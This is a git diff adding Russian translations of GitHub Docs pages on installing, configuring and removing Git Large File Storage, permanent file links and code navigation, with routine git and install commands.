объекты {% data variables.large_files.product_name_short %} в запросах на вытягивание. Отображается только файл указателя: + +![Пример запроса на вытягивание для больших файлов](/assets/images/help/large_files/large_files_pr.png) + +Дополнительные сведения о файлах указателя см. в разделе [Сведения о {% data variables.large_files.product_name_long %}](/github/managing-large-files/about-git-large-file-storage#pointer-file-format). + +Чтобы просмотреть изменения, внесенные в большие файлы, извлеките запрос на вытягивание локально для сравнения различий. Дополнительные сведения см. в разделе [Локальное извлечение запросов на вытягивание](/github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally). + +{% ifversion fpt or ghec %} + +## Отправка больших файлов в вилки + +Отправка больших файлов в вилки репозитория учитывается в квоте по пропускной способности и хранилищу родительского репозитория, а не в квоте владельца вилки. + +Вы можете отправить объекты {% data variables.large_files.product_name_short %} в общедоступные вилки, если в сети репозитория уже есть объекты {% data variables.large_files.product_name_short %} или у вас есть доступ на запись в корне сети репозитория. + +{% endif %} + +## Дополнительные материалы + +- [Дублирование репозитория с объектами Git Large File Storage](/articles/duplicating-a-repository/#mirroring-a-repository-that-contains-git-large-file-storage-objects) diff --git a/translations/ru-RU/content/repositories/working-with-files/managing-large-files/configuring-git-large-file-storage.md b/translations/ru-RU/content/repositories/working-with-files/managing-large-files/configuring-git-large-file-storage.md new file mode 100644 index 000000000000..4327dfb7042d --- /dev/null +++ b/translations/ru-RU/content/repositories/working-with-files/managing-large-files/configuring-git-large-file-storage.md @@ -0,0 +1,76 @@ +--- +title: Настройка Git Large File Storage +intro: 'После [установки {% data variables.large_files.product_name_short %}](/articles/installing-git-large-file-storage/) необходимо связать его с большим файлом в репозитории.' +redirect_from: + - /articles/configuring-large-file-storage + - /articles/configuring-git-large-file-storage + - /github/managing-large-files/configuring-git-large-file-storage + - /github/managing-large-files/versioning-large-files/configuring-git-large-file-storage +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +shortTitle: Configure Git LFS +ms.openlocfilehash: 363e89be0c729b8ea6d5313cec0c7ce61654f229 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '146331763' +--- +Если в репозитории есть файлы, с которыми вы хотите использовать {% data variables.product.product_name %}, необходимо сначала удалить их из репозитория, а затем добавить их в {% data variables.large_files.product_name_short %} локально. Дополнительные сведения см. в разделе [Перемещение файла в репозитории в {% data variables.large_files.product_name_short %}](/articles/moving-a-file-in-your-repository-to-git-large-file-storage). + +{% data reusables.large_files.resolving-upload-failures %} + +{% ifversion ghes or ghae %} + +{% tip %} + +**Примечание.** Прежде чем пытаться отправить большой файл в {% data variables.product.product_name %}, включите {% data variables.large_files.product_name_short %} на предприятии. Дополнительные сведения см. в разделе [Настройка Git Large File Storage в GitHub Enterprise Server](/enterprise/admin/guides/installation/configuring-git-large-file-storage-on-github-enterprise-server/). + +{% endtip %} + +{% endif %} + +{% data reusables.command_line.open_the_multi_os_terminal %} +2. Измените текущий рабочий каталог на существующий репозиторий, который вы хотите использовать с {% data variables.large_files.product_name_short %}. +3. Чтобы связать тип файла в репозитории с {% data variables.large_files.product_name_short %}, введите `git {% data variables.large_files.command_name %} track`, а затем имя расширения файла, который необходимо автоматически отправить в {% data variables.large_files.product_name_short %}. + + Например, чтобы привязать _PSD_-файл, введите следующую команду: + ```shell + $ git {% data variables.large_files.command_name %} track "*.psd" + > Adding path *.psd + ``` + Каждый тип файла, который требуется связать с {% data variables.large_files.product_name_short %}, необходимо добавить с `git {% data variables.large_files.command_name %} track`. Эта команда изменяет файл *GITATTRIBUTES* репозитория и связывает большие файлы с {% data variables.large_files.product_name_short %}. + + {% note %} + + **Примечание:** Настоятельно рекомендуем зафиксировать локальный файл *GITATTRIBUTES* в репозитории. + + - Использование глобального файла *GITATTRIBUTES*, связанного с {% data variables.large_files.product_name_short %}, может привести к конфликтам при участии в других проектах Git. + - Включение файла *GITATTRIBUTES* в репозитории позволяет пользователям создавать вилки или свежие клоны, чтобы упростить совместную работу с помощью {% data variables.large_files.product_name_short %}. + - Включение файла *GITATTRIBUTES* в репозиторий позволяет дополнительно включать объекты {% data variables.large_files.product_name_short %} в ZIP-файл и архивы tarball. + + {% endnote %} + +4. Добавьте файл в репозиторий, соответствующий связанному расширению: + ```shell + $ git add path/to/file.psd + ``` +5. Зафиксируйте файл и отправьте его в {% data variables.product.product_name %}: + ```shell + $ git commit -m "add file.psd" + $ git push + ``` + Вы увидите некоторые диагностические сведения об отправке файла: + ```shell + > Sending file.psd + > 44.74 MB / 81.04 MB 55.21 % 14s + > 64.74 MB / 81.04 MB 79.21 % 3s + ``` + +## Дополнительные материалы + +- [Совместная работа с помощью {% data variables.large_files.product_name_long %}](/articles/collaboration-with-git-large-file-storage/)"{% ifversion fpt or ghec %} +- [Управление объектами {% data variables.large_files.product_name_short %} в архивах репозитория](/github/administering-a-repository/managing-git-lfs-objects-in-archives-of-your-repository){% endif %} diff --git a/translations/ru-RU/content/repositories/working-with-files/managing-large-files/index.md b/translations/ru-RU/content/repositories/working-with-files/managing-large-files/index.md new file mode 100644 index 000000000000..c10f65ab7f7c --- /dev/null +++ b/translations/ru-RU/content/repositories/working-with-files/managing-large-files/index.md @@ -0,0 +1,33 @@ +--- +title: Управление большими файлами +intro: Вы можете управлять большими файлами с помощью хранилища больших файлов Git. +redirect_from: + - /categories/managing-large-files + - /github/managing-large-files + - /articles/versioning-large-files + - /github/managing-large-files/versioning-large-files + - /articles/working-with-large-files + - /github/managing-large-files/working-with-large-files +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +children: + - /about-large-files-on-github + - /about-git-large-file-storage + - /installing-git-large-file-storage + - /configuring-git-large-file-storage + - /about-storage-and-bandwidth-usage + - /collaboration-with-git-large-file-storage + - /moving-a-file-in-your-repository-to-git-large-file-storage + - /removing-files-from-git-large-file-storage + - /resolving-git-large-file-storage-upload-failures +ms.openlocfilehash: 74ada6c4ff70b61ae3403749b9faf32c975bc30d +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145136505' +--- + diff --git a/translations/ru-RU/content/repositories/working-with-files/managing-large-files/installing-git-large-file-storage.md b/translations/ru-RU/content/repositories/working-with-files/managing-large-files/installing-git-large-file-storage.md new file mode 100644 index 000000000000..603e45560a27 --- /dev/null +++ b/translations/ru-RU/content/repositories/working-with-files/managing-large-files/installing-git-large-file-storage.md @@ -0,0 +1,122 @@ +--- +title: Установка хранилища больших файлов Git +intro: 'Чтобы использовать {% data variables.large_files.product_name_short %}, необходимо загрузить и установить новую программу отдельно от Git.' +redirect_from: + - /articles/installing-large-file-storage + - /articles/installing-git-large-file-storage + - /github/managing-large-files/installing-git-large-file-storage + - /github/managing-large-files/versioning-large-files/installing-git-large-file-storage +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +shortTitle: Install Git LFS +ms.openlocfilehash: 8ac1ff43ad14e03fbbf1af0e56511aaf32535fbc +ms.sourcegitcommit: 5f40f9341dd1e953f4be8d1642f219e628e00cc8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/04/2022 +ms.locfileid: '148008841' +--- +{% mac %} + +1. Перейдите на сайт [git-lfs.github.com](https://git-lfs.github.com) и нажмите кнопку **Скачать**. Кроме того, {% data variables.large_files.product_name_short %} можно установить с помощью диспетчера пакетов: + - Чтобы использовать [Homebrew](http://brew.sh/), выполните команду `brew install git-lfs`. + - Чтобы использовать [MacPorts](https://www.macports.org/), выполните команду `port install git-lfs`. + + Если вы устанавливаете {% data variables.large_files.product_name_short %} с помощью Homebrew или MacPorts, перейдите к шагу 6. + +2. На компьютере найдите и распакуйте скачанный файл. +{% data reusables.command_line.open_the_multi_os_terminal %} +3. Измените текущий рабочий каталог на скачанную и распакованную папку. + ```shell + $ cd ~/Downloads/git-lfs-1.X.X + ``` + {% note %} + + **Примечание.** Путь к файлу, который вы используете после `cd`, зависит от операционной системы, скачанной версии Git LFS и места сохранения скачанных файлов {% data variables.large_files.product_name_short %}. + + {% endnote %} +4. Чтобы установить файл, выполните следующую команду: + ```shell + $ ./install.sh + > {% data variables.large_files.product_name_short %} initialized. + ``` + {% note %} + + **Примечание.** Для установки файла, возможно, потребуется использовать `sudo ./install.sh`. + + {% endnote %} +5. Проверьте, что установка выполнена: + ```shell + $ git {% data variables.large_files.command_name %} install + > {% data variables.large_files.product_name_short %} initialized. + ``` +6. Если сообщение об успешном выполнении `git {% data variables.large_files.command_name %} install` не отображается, обратитесь в {% data variables.contact.contact_support %}. Не забудьте указать имя операционной системы. + +{% endmac %} + +{% windows %} + +1. Перейдите на сайт [git-lfs.github.com](https://git-lfs.github.com) и нажмите кнопку **Скачать**. + + {% tip %} + + **Совет.** Дополнительные сведения об альтернативных способах установки {% data variables.large_files.product_name_short %} для Windows см. в этом [руководстве по началу работы](https://github.com/github/git-lfs#getting-started). + + {% endtip %} +2. Найдите скачанный файл на компьютере. +3. Дважды щелкните файл с именем *git-lfs-windows-1.X.X.exe*, где 1.X.X заменяется скачанной версией Git LFS. При открытии этого файла в Windows запустится мастер установки для установки {% data variables.large_files.product_name_short %}. +{% data reusables.command_line.open_the_multi_os_terminal %} +5. Проверьте, что установка выполнена: + ```shell + $ git {% data variables.large_files.command_name %} install + > {% data variables.large_files.product_name_short %} initialized. + ``` +6. Если сообщение об успешном выполнении `git {% data variables.large_files.command_name %} install` не отображается, обратитесь в {% data variables.contact.contact_support %}. Не забудьте указать имя операционной системы. + +{% endwindows %} + +{% linux %} + +1. Перейдите на сайт [git-lfs.github.com](https://git-lfs.github.com) и нажмите кнопку **Скачать**. + + {% tip %} + + **Совет.** Дополнительные сведения об альтернативных способах установки {% data variables.large_files.product_name_short %} для Linux см. в этом [руководстве по началу работы](https://github.com/github/git-lfs#getting-started). + + {% endtip %} +2. На компьютере найдите и распакуйте скачанный файл. +{% data reusables.command_line.open_the_multi_os_terminal %} +3. Измените текущий рабочий каталог на скачанную и распакованную папку. + ```shell + $ cd ~/Downloads/git-lfs-1.X.X + ``` + {% note %} + + **Примечание.** Путь к файлу, который вы используете после `cd`, зависит от операционной системы, скачанной версии Git LFS и места сохранения скачанных файлов {% data variables.large_files.product_name_short %}. + + {% endnote %} +4. Чтобы установить файл, выполните следующую команду: + ```shell + $ ./install.sh + > {% data variables.large_files.product_name_short %} initialized. + ``` + {% note %} + + **Примечание.** Для установки файла, возможно, потребуется использовать `sudo ./install.sh`. + + {% endnote %} +5. Проверьте, что установка выполнена: + ```shell + $ git {% data variables.large_files.command_name %} install + > {% data variables.large_files.product_name_short %} initialized. + ``` +6. Если сообщение об успешном выполнении `git {% data variables.large_files.command_name %} install` не отображается, обратитесь в {% data variables.contact.contact_support %}. Не забудьте указать имя операционной системы. + +{% endlinux %} + +## Дополнительные материалы + +- [Настройка {% data variables.large_files.product_name_long %}](/articles/configuring-git-large-file-storage) diff --git a/translations/ru-RU/content/repositories/working-with-files/managing-large-files/moving-a-file-in-your-repository-to-git-large-file-storage.md b/translations/ru-RU/content/repositories/working-with-files/managing-large-files/moving-a-file-in-your-repository-to-git-large-file-storage.md new file mode 100644 index 000000000000..fc97b88d7536 --- /dev/null +++ b/translations/ru-RU/content/repositories/working-with-files/managing-large-files/moving-a-file-in-your-repository-to-git-large-file-storage.md @@ -0,0 +1,38 @@ +--- +title: Перемещение файла в репозитории в Git Large File Storage +intro: 'Если вы настроили {% data variables.large_files.product_name_short %} и у вас есть файл в репозитории, который необходимо отслеживать в {% data variables.large_files.product_name_short %}, необходимо сначала удалить его из репозитория.' +redirect_from: + - /articles/moving-a-file-in-your-repository-to-git-large-file-storage + - /github/managing-large-files/moving-a-file-in-your-repository-to-git-large-file-storage + - /github/managing-large-files/versioning-large-files/moving-a-file-in-your-repository-to-git-large-file-storage +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +shortTitle: Move a file to Git LFS +ms.openlocfilehash: fc03edc2ef82be8d7edb106a8c4a2a0b8efbeedb +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145136499' +--- +После установки {% data variables.large_files.product_name_short %} и настройки отслеживания {% data variables.large_files.product_name_short %} можно переместить файлы из обычного отслеживания Git в {% data variables.large_files.product_name_short %}. Дополнительные сведения см. в разделе [Установка {% data variables.large_files.product_name_long %}](/github/managing-large-files/installing-git-large-file-storage) и [Настройка {% data variables.large_files.product_name_long %}](/github/managing-large-files/configuring-git-large-file-storage). + +{% data reusables.large_files.resolving-upload-failures %} + +{% tip %} + +**Совет.** Если появляется сообщение об ошибке "Превышен предельный размер файла {% data variables.large_files.product_name_short %}, равный {% data variables.large_files.max_github_size %}" при попытке отправить файлы в Git, можно использовать `git lfs migrate` вместо `filter branch` или BFG Repo Cleaner для перемещения большого файла в {% data variables.large_files.product_name_long %}. Дополнительные сведения о команде `git lfs migrate` см. в объявлении о выпуске [Git LFS 2.2.0](https://github.com/blog/2384-git-lfs-2-2-0-released). + +{% endtip %} + +1. Удалите файл из журнала Git репозитория с помощью команды `filter-branch` или BFG Repo-Cleaner. Подробные сведения об их использовании см. в разделе [Удаление конфиденциальных данных из репозитория](/articles/removing-sensitive-data-from-a-repository). +2. Настройте отслеживание файла и отправьте его в {% data variables.large_files.product_name_short %}. Дополнительные сведения об этой процедуре см. в статье [Настройка {% data variables.large_files.product_name_long %}](/articles/configuring-git-large-file-storage). + +## Дополнительные материалы + +- [Сведения о {% data variables.large_files.product_name_long %}](/articles/about-git-large-file-storage) +- [Совместная работа с помощью {% data variables.large_files.product_name_long %}](/articles/collaboration-with-git-large-file-storage/) +- [Установка {% data variables.large_files.product_name_long %}](/articles/installing-git-large-file-storage) diff --git a/translations/ru-RU/content/repositories/working-with-files/managing-large-files/removing-files-from-git-large-file-storage.md b/translations/ru-RU/content/repositories/working-with-files/managing-large-files/removing-files-from-git-large-file-storage.md new file mode 100644 index 000000000000..f2b7cac2b37f --- /dev/null +++ b/translations/ru-RU/content/repositories/working-with-files/managing-large-files/removing-files-from-git-large-file-storage.md @@ -0,0 +1,62 @@ +--- +title: Удаление файлов из хранилища больших файлов Git +intro: 'Если вы настроили {% data variables.large_files.product_name_short %} для репозитория, можно удалить все файлы или подмножество файлов из {% data variables.large_files.product_name_short %}.' +redirect_from: + - /articles/removing-files-from-git-large-file-storage + - /github/managing-large-files/removing-files-from-git-large-file-storage + - /github/managing-large-files/versioning-large-files/removing-files-from-git-large-file-storage +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +shortTitle: Remove files +ms.openlocfilehash: 4aa8b6789a916616b43b2b995174e64e25856ed4 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145136496' +--- +## Удаление одного файла + +1. Удалите файл из журнала Git репозитория с помощью команды `filter-branch` или BFG Repo-Cleaner. Подробные сведения об их использовании см. в разделе [Удаление конфиденциальных данных из репозитория](/articles/removing-sensitive-data-from-a-repository). +2. Перейдите к *GITATTRIBUTES*-файлу. + + {% note %} + + **Примечание.** *GITATTRIBUTES*-файл обычно сохраняется в локальном репозитории. В некоторых случаях может создаваться глобальный *GITATTRIBUTES*-файл, содержащий все связи {% data variables.large_files.product_name_short %}. + + {% endnote %} +3. Найдите и удалите связанное правило отслеживания {% data variables.large_files.product_name_short %} в *GITATTRIBUTES*-файле. +4. Сохраните и закройте *GITATTRIBUTES*-файл. + +## Удаление всех файлов в репозитории {% data variables.large_files.product_name_short %} + +1. Удалите файлы из журнала Git репозитория с помощью команды `filter-branch` или BFG Repo-Cleaner. Подробные сведения об их использовании см. в разделе [Удаление конфиденциальных данных из репозитория](/articles/removing-sensitive-data-from-a-repository). +2. Чтобы удалить {% data variables.large_files.product_name_short %} (если нужно) в репозитории, выполните следующий код: + ```shell + $ git lfs uninstall + ``` + Для версий {% data variables.large_files.product_name_short %} ниже 1.1.0 выполните следующий код: + ```shell + $ git lfs uninit + ``` + +## Объекты {% data variables.large_files.product_name_short %} в вашем репозитории + +После удаления файлов из {% data variables.large_files.product_name_short %} объекты {% data variables.large_files.product_name_short %} остаются в удаленном хранилище{% ifversion fpt or ghec %} и продолжают учитываться в квоте хранилища {% data variables.large_files.product_name_short %}{% endif %}. + +Чтобы удалить объекты {% data variables.large_files.product_name_short %} из репозитория, {% ifversion fpt or ghec %}удалите репозиторий и создайте его заново. При удалении репозитория также удаляются все связанные проблемы, звезды и вилки. Дополнительные сведения см. в разделе [Удаление репозитория](/github/administering-a-repository/deleting-a-repository). Если вам нужно стереть удаленный объект, а удалить репозиторий не удается, [обратитесь в службу поддержки](/github/working-with-github-support) за помощью. {% else %}обратитесь к администратору {% data variables.product.prodname_enterprise %} для архивации объектов. Архивированные объекты стираются через три месяца.{% endif %} + +{% note %} + +**Примечание.** Если вы удалили один файл, а другие объекты {% data variables.large_files.product_name_short %} хотите сохранить в репозитории, то после удаления и повторного создания репозитория измените конфигурацию файлов, связанных с {% data variables.large_files.product_name_short %}. Дополнительные сведения см. в разделах [Удаление одного файла](#removing-a-single-file) и [Настройка конфигурации {% data variables.large_files.product_name_long %}](/github/managing-large-files/configuring-git-large-file-storage)." + +{% endnote %} + +## Дополнительные материалы + +- [Сведения о {% data variables.large_files.product_name_long %}](/articles/about-git-large-file-storage) +- [Совместная работа с помощью {% data variables.large_files.product_name_long %}](/articles/collaboration-with-git-large-file-storage/) +- [Установка {% data variables.large_files.product_name_long %}](/articles/installing-git-large-file-storage) diff --git a/translations/ru-RU/content/repositories/working-with-files/managing-large-files/resolving-git-large-file-storage-upload-failures.md b/translations/ru-RU/content/repositories/working-with-files/managing-large-files/resolving-git-large-file-storage-upload-failures.md new file mode 100644 index 000000000000..cc6e3842d0b3 --- /dev/null +++ b/translations/ru-RU/content/repositories/working-with-files/managing-large-files/resolving-git-large-file-storage-upload-failures.md @@ -0,0 +1,33 @@ +--- +title: Устранение ошибок отправки в хранилище больших файлов GIT +intro: 'Если файлы {% data variables.large_files.product_name_short %} не были отправлены должным образом, можно выполнить ряд действий, чтобы устранить ошибку отправки.' +redirect_from: + - /articles/resolving-git-large-file-storage-upload-failures + - /github/managing-large-files/resolving-git-large-file-storage-upload-failures + - /github/managing-large-files/versioning-large-files/resolving-git-large-file-storage-upload-failures +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +shortTitle: Resolve upload failures +ms.openlocfilehash: d2f776561f08132e1ca05d0864368943098c5ddc +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145136487' +--- +Проверка целостности {% data variables.large_files.product_name_short %} гарантирует, что все файлы {% data variables.large_files.product_name_short %}, указанные для отправки, были отправлены надлежащим образом. Если при проверке обнаружены файлы, которые не были отправлены, вы получите сообщение об ошибке и отправка будет заблокирована. + +Чтобы устранить ошибку, необходимо переустановить локальный клиент {% data variables.large_files.product_name_short %}. Это позволит правильно отправлять соответствующие файлы {% data variables.large_files.product_name_short %} в будущем. + +1. Откройте терминал. +2. Переустановите {% data variables.large_files.product_name_short %}. + ```shell + $ git lfs install + ``` +3. Отправьте все указанные файлы {% data variables.large_files.product_name_short %}. + ```shell + $ git lfs push --all origin + ``` diff --git a/translations/ru-RU/content/repositories/working-with-files/using-files/getting-permanent-links-to-files.md b/translations/ru-RU/content/repositories/working-with-files/using-files/getting-permanent-links-to-files.md new file mode 100644 index 000000000000..d16c96cd5ef9 --- /dev/null +++ b/translations/ru-RU/content/repositories/working-with-files/using-files/getting-permanent-links-to-files.md @@ -0,0 +1,57 @@ +--- +title: Getting permanent links to files +intro: 'When viewing a file on {% data variables.location.product_location %}, you can press the "y" key to update the URL to a permalink to the exact version of the file you see.' +redirect_from: + - /articles/getting-a-permanent-link-to-a-file + - /articles/how-do-i-get-a-permanent-link-from-file-view-to-permanent-blob-url + - /articles/getting-permanent-links-to-files + - /github/managing-files-in-a-repository/getting-permanent-links-to-files + - /github/managing-files-in-a-repository/managing-files-on-github/getting-permanent-links-to-files +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories +shortTitle: Permanent links to files +--- +{% tip %} + +**Tip**: Press "?" on any page in {% data variables.product.product_name %} to see all available keyboard shortcuts. + +{% endtip %} + +## File views show the latest version on a branch + +When viewing a file on {% data variables.location.product_location %}, you usually see the version at the current head of a branch. For example: + +* [https://github.com/github/codeql/blob/**main**/README.md](https://github.com/github/codeql/blob/main/README.md) + +refers to GitHub's `codeql` repository, and shows the `main` branch's current version of the `README.md` file. + +The version of a file at the head of branch can change as new commits are made, so if you were to copy the normal URL, the file contents might not be the same when someone looks at it later. + +## Press <kbd>Y</kbd> to permalink to a file in a specific commit + +For a permanent link to the specific version of a file that you see, instead of using a branch name in the URL (i.e. the `main` part in the example above), put a commit id. This will permanently link to the exact version of the file in that commit. For example: + +* [https://github.com/github/codeql/blob/**b212af08a6cffbb434f3c8a2795a579e092792fd**/README.md](https://github.com/github/codeql/blob/b212af08a6cffbb434f3c8a2795a579e092792fd/README.md) + +replaces `main` with a specific commit id and the file content will not change. + +Looking up the commit SHA by hand is inconvenient, however, so as a shortcut you can type <kbd>y</kbd> to automatically update the URL to the permalink version. Then you can copy the URL knowing that anyone you share it with will see exactly what you saw. + +{% tip %} + +**Tip**: You can put any identifier that can be resolved to a commit in the URL, including branch names, specific commit SHAs, or tags! + +{% endtip %} + +## Creating a permanent link to a code snippet + +You can create a permanent link to a specific line or range of lines of code in a specific version of a file or pull request. For more information, see "[Creating a permanent link to a code snippet](/articles/creating-a-permanent-link-to-a-code-snippet/)." + +## Further reading + +- "[Archiving a GitHub repository](/articles/archiving-a-github-repository)" diff --git a/translations/ru-RU/content/repositories/working-with-files/using-files/index.md b/translations/ru-RU/content/repositories/working-with-files/using-files/index.md new file mode 100644 index 000000000000..bbdf97d4eb87 --- /dev/null +++ b/translations/ru-RU/content/repositories/working-with-files/using-files/index.md @@ -0,0 +1,21 @@ +--- +title: Использование файлов +intro: Вам доступна навигация и отслеживание изменений в коде в файлах. +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +children: + - /navigating-code-on-github + - /viewing-a-file + - /getting-permanent-links-to-files + - /working-with-non-code-files +ms.openlocfilehash: 1e68e577c4e3f8d3978d1814151145fe0c40b5f6 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145136460' +--- + diff --git a/translations/ru-RU/content/repositories/working-with-files/using-files/navigating-code-on-github.md b/translations/ru-RU/content/repositories/working-with-files/using-files/navigating-code-on-github.md new file mode 100644 index 000000000000..f40fd20332fc --- /dev/null +++ b/translations/ru-RU/content/repositories/working-with-files/using-files/navigating-code-on-github.md @@ -0,0 +1,90 @@ +--- +title: Навигация по коду на GitHub +intro: 'Вы можете проанализировать связи внутри репозиториев и между ними, переходя по коду непосредственно в {% data variables.product.product_name %}.' +redirect_from: + - /articles/navigating-code-on-github + - /github/managing-files-in-a-repository/navigating-code-on-github + - /github/managing-files-in-a-repository/managing-files-on-github/navigating-code-on-github +versions: + fpt: '*' + ghec: '*' +topics: + - Repositories +ms.openlocfilehash: 89fc5092468d50484cfcad71824870b6456d9ac7 +ms.sourcegitcommit: 1529de77bfcbe45519131b5f5fb3ab319758c2d2 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/14/2022 +ms.locfileid: '148164166' +--- +<!-- If you make changes to this feature, check whether any of the changes affect languages listed in /get-started/learning-about-github/github-language-support. If so, please update the article accordingly. --> + +## Сведения о навигации по коду на {% data variables.product.prodname_dotcom %} + +Навигация по коду помогает перемещаться по коду, читать и понимать его благодаря отображению связанных определений именованной сущности, соответствующих ссылке на эту сущность, а также ссылок, соответствующих определению сущности. + +![Отображение навигации по коду](/assets/images/help/repository/code-navigation-popover.png) + +Для навигации по коду используется библиотека [`tree-sitter`](https://github.com/tree-sitter/tree-sitter) с открытым кодом. Поддерживаются следующие языки и стратегии навигации: + +| Язык | Навигация по коду на основе поиска | Точная навигация по коду | +|:----------:|:----------------------------:|:-----------------------:| +| C# | ✅ | | +| CodeQL | ✅ | | +| Elixir | ✅ | | +| Go | ✅ | | +| Java | ✅ | | +| JavaScript | ✅ | | +| PHP | ✅ | | +| Python | ✅ | ✅ | +| Ruby | ✅ | | +| Rust | ✅ | | +| TypeScript | ✅ | | + + +Для включения навигации по коду в репозитории не требуется ничего настраивать. Мы автоматически извлекаем сведения для навигации по коду на основе поиска и точной навигации для поддерживаемых языков во всех репозиториях. Вы можете переключаться между двумя поддерживаемыми подходами к навигации, если ваш язык программирования поддерживается ими обоими. + +В {% data variables.product.prodname_dotcom %} были разработаны два подхода к навигации по коду на основе библиотек [`tree-sitter`](https://github.com/tree-sitter/tree-sitter) и [`stack-graphs`](https://github.com/github/stack-graphs) с открытым кодом: + - На основе поиска — в репозитории ищутся все определения и ссылки с целью найти сущности с заданным именем. + - Точная — определения и ссылки разрешаются на основе набора классов, функций и импортированных определений в заданной точке кода. + +Дополнительные сведения об этих подходах см. в разделе [Точная навигация и навигация на основе поиска](#precise-and-search-based-navigation). + +В будущих выпусках будет добавлена *точная навигация по коду* для дополнительных языков. Это подход к навигации по коду, который может дать более точные результаты. + +## Переход к определению функции или метода + +Вы можете перейти к определению функции или метода в том же репозитории, щелкнув вызов функции или метода в файле. + +![Вкладка перехода к определению](/assets/images/help/repository/jump-to-definition-tab.png) + +## Поиск всех ссылок на функцию или метод + +Чтобы найти все ссылки на функцию или метод в одном репозитории, щелкните вызов функции или метода в файле, а затем перейдите на вкладку **Ссылки**. + +![Вкладка "Найти все ссылки"](/assets/images/help/repository/find-all-references-tab.png) + +## Точная навигация и навигация на основе поиска + +Для некоторых языков, поддерживаемых {% data variables.product.prodname_dotcom %}, доступна *точная навигация по коду*. Она использует алгоритм (на основе библиотеки [`stack-graphs`](https://github.com/github/stack-graphs) с открытым кодом), который разрешает определения и ссылки на основе набора классов, функций и импортированных определений, видимых в любой точке кода. Другие языки используют *навигацию по коду на основе поиска*, которая ищет все определения и ссылки в репозитории с целью нахождения сущностей с заданным именем. Обе стратегии эффективны при поиске результатов, и обе они позволяют избежать неуместных результатов, таких как комментарии. Однако точная навигация по коду может давать более точные результаты, особенно если репозиторий содержит несколько методов или функций с одинаковым именем. + +Если результаты, ожидаемые от запроса точной навигации по коду, не отображаются, можно щелкнуть ссылку "на основе поиска" в отображаемом всплывающем окне, чтобы выполнить навигацию на основе поиска. + +![Ссылка для навигации по коду на основе поиска](/assets/images/help/repository/search-based-code-navigation-link.png) + +Если результаты точной навигации кажутся неточными, можно отправить запрос в службу поддержки. + +## Навигация по точному коду в разных репозиториях + +Навигация по коду в нескольких репозиториях доступна для языков, поддерживаемых точной навигацией по коду и графом зависимостей. Дополнительные сведения см. в разделе [Сведения о графе зависимостей](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph). С помощью навигации по коду между репозиториями можно перейти к определению функций или переменных, определенных в зависимостях, импортированных проектом, если эта зависимость является репозиторием, размещенным в {% data variables.product.prodname_dotcom %}. В настоящее время навигация по коду между репозиториями не поддерживает запросы find-all-references. + +![Снимок экрана: навигация по коду между репозиторием](/assets/images/help/repository/cross-repository-code-navigation.png) + +## Устранение неполадок навигации по коду + +Если навигация по коду включена, но ссылки на определения функций и методов не отображаются: +- Навигация по коду работает только для активных ветвей. Выполните отправку в ветвь и повторите попытку. +- Навигация по коду работает только для репозиториев с менее чем 100 000 файлов. + +## Дополнительные материалы +- [Поиск кода](/github/searching-for-information-on-github/searching-code) diff --git a/translations/ru-RU/content/repositories/working-with-files/using-files/viewing-a-file.md b/translations/ru-RU/content/repositories/working-with-files/using-files/viewing-a-file.md new file mode 100644 index 000000000000..b3b2dbdf7d0a --- /dev/null +++ b/translations/ru-RU/content/repositories/working-with-files/using-files/viewing-a-file.md @@ -0,0 +1,94 @@ +--- +title: Просмотр файла +intro: 'Вы можете просмотреть содержимое необработанного файла или отследить изменения строк в файле и узнать, как части файла изменялись с течением времени.' +redirect_from: + - /articles/using-git-blame-to-trace-changes-in-a-file + - /articles/tracing-changes-in-a-file + - /articles/tracking-changes-in-a-file + - /github/managing-files-in-a-repository/tracking-changes-in-a-file + - /github/managing-files-in-a-repository/managing-files-on-github/tracking-changes-in-a-file + - /repositories/working-with-files/using-files/tracking-changes-in-a-file +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories +shortTitle: View files and track file changes +ms.openlocfilehash: bc27fc67cfd18eb20f8c612b81f4d6dd5da20913 +ms.sourcegitcommit: 1309b46201604c190c63bfee47dce559003899bf +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '146680992' +--- +## Просмотр или копирование содержимого необработанного файла + +С помощью необработанного представления можно просматривать или копировать содержимое необработанного файла без стиля. + +{% data reusables.repositories.navigate-to-repo %} +1. Выберите файл, который нужно просмотреть. +2. В правом верхнем углу представления файла щелкните **Необработанный**. +![Снимок экрана: кнопка "Необработанный" в заголовке файла](/assets/images/help/repository/raw-file-button.png) +3. При необходимости, чтобы скопировать необработанное содержимое файла, в правом верхнем углу представления файла 